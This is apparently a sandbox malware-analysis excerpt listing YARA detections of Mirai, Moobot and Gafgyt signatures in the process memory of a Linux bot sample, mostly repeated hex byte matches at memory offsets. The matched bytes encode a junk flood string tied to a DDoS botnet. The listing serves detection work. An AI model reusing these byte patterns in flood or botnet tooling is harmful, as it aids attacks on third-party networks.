Process Memory Space: log21.x86_64.elf PID: 6277	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6277	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1540:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1554:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1568:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x157c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1590:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1608:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x161c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1630:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1644:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1658:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x166c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1680:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1694:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6278	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6278	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6278	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xeb4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xec8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xedc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xef0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf04:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf18:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf2c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf54:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf68:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf90:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfa4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfcc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfe0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1008:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x101c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1030:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1044:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6279	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6279	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x17b1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17c5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17d9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1801:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1815:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1829:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x183d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1851:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1865:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1879:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x188d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18a1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18b5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18c9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18dd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18f1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1905:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1919:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x192d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1941:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6280	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6280	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x170b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1747:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x175b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x176f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1783:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1797:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ab:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17bf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17d3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17e7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17fb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x180f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1823:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1837:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x184b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x185f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1873:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1887:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x189b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6281	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6281	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6281	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x112b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x113f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1153:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1167:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x117b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11a3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11b7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11cb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11df:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11f3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1207:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x121b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x122f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1243:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1257:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x126b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x127f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1293:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12a7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12bb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6282	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6282	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x16cf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16e3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16f7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x170b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1747:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x175b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x176f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1783:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1797:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ab:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17bf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17d3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17e7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17fb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x180f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1823:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1837:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x184b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x185f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6283	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6283	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6283	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x112b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x113f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1153:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1167:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x117b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11a3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11b7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11cb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11df:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11f3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1207:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x121b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x122f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1243:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1257:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x126b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x127f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1293:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12a7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12bb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6284	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6284	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6284	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1100:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1114:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1128:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x113c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1150:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1164:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1178:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1204:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1218:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x122c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1240:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1254:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1268:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x127c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1290:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6285	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6285	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x148e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14a2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14b6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14ca:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14de:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14f2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1506:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x151a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x152e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1542:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 